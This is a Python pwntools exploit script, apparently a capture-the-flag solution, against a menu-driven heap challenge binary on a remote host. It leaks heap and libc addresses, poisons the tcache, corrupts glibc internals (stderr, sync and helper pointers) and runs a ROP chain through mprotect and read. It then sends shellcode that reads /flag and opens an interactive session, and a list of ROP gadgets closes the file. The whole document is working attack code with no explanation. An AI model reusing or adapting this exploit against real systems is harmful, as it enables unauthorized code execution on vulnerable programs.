1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145
|
import re import os from pwn import * from LibcSearcher import *
se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
def debug(breakpoint=''): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint gdb.attach(p, gdbscript) time.sleep(1)
elf = ELF('./pwn') context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = remote('192.168.166.147',58011)
def menu(c): sla('Choice: ',str(c))
def add(): menu(1)
def dele(id): menu(2) sla('Idx: ',str(id))
def show(id): menu(3) sla('Idx: \n',str(id))
def edit(id,data,size=0x100): menu(4) sla('Idx: ',str(id)) sla('Size: ',str(size)) sea('Content: ',str(data))
add() dele(0) show(0) heap_leak = uu64(ru('\n')) heap_base = heap_leak <<12 lg('heap_leak',heap_leak) lg('heap_base',heap_base)
for i in range(10): add()
for i in range(1,2+8): dele(i) edit(8,'u') show(8) libc_leak = uu64(ru('\x7f',drop=False)[-6:]) libc_base = libc_leak - 0x1e0c75 lg('libc_leak',libc_leak) lg('libc_base',libc_base)
libc = elf.libc libc.address = libc_base system_addr = libc.sym.system bin_sh = libc.search('/bin/sh').next() edit(8,'\0')
stderr = libc_base + 0x1f3680 sync = libc_base + 0x1e24a0 + 0x60 magic = libc_base + 0x529ad helper = libc_base + 0x1e1940 ret = libc_base + 0x0000000000026699 rdi = libc_base + 0x0000000000028a55 rsi = libc_base + 0x000000000002a4cf rdx = libc_base + 0x00000000000c7f32 addr = heap_base + 0x400
mmp = flat([ 0,rdi,((addr)>>12)<<12,rsi,0x2000,rdx,7,libc.sym.mprotect,rdi,0,rsi,addr+0x400,rdx,0x100,libc.sym.read,libc_base + 0x00000000000506b1 ])
edit(0,mmp)
edit(7,p64(heap_leak^(heap_base+0x100))) add()
add() edit(12,p64(helper)*2) lg('ADDR',(heap_base+0x100)) add() edit(13,p64(heap_base+0x2a8)+p64(ret)) edit(12,p64(sync)*2) add() edit(14,p64(magic))
for i in range(3): edit(12,p64(heap_base+0xd30)*2) add() edit(15,p64(0)*2)
add() add() add()
sleep(2) sl(asm(shellcraft.cat('/flag'))) p.interactive()
''' 0x0000000000028a55 : pop rdi ; ret 0x0000000000112a51 : pop rdx ; pop r12 ; ret 0x00000000001574e6 : pop rdx ; pop rbx ; ret 0x00000000000fc103 : pop rdx ; pop rcx ; pop rbx ; ret 0x00000000000c7f32 : pop rdx ; ret 0x0000000000095982 : pop rdx ; ret 0x11 0x0000000000093342 : pop rdx ; ret 0xfffc 0x0000000000028db0 : pop rsi ; pop r15 ; pop rbp ; ret 0x0000000000028a53 : pop rsi ; pop r15 ; ret 0x000000000002a4cf : pop rsi ; ret 0x0000000000028dac : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000028a4f : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000002a4cb : pop rsp ; pop r13 ; pop r14 ; ret 0x0000000000043922 : pop rsp ; pop r13 ; pop rbp ; ret 0x000000000002a04c : pop rsp ; pop r13 ; ret 0x00000000000de0e6 : pop rsp ; pop rbp ; ret 0x0000000000033af2 : pop rsp ; ret 0x0000000000026699 : ret '''
|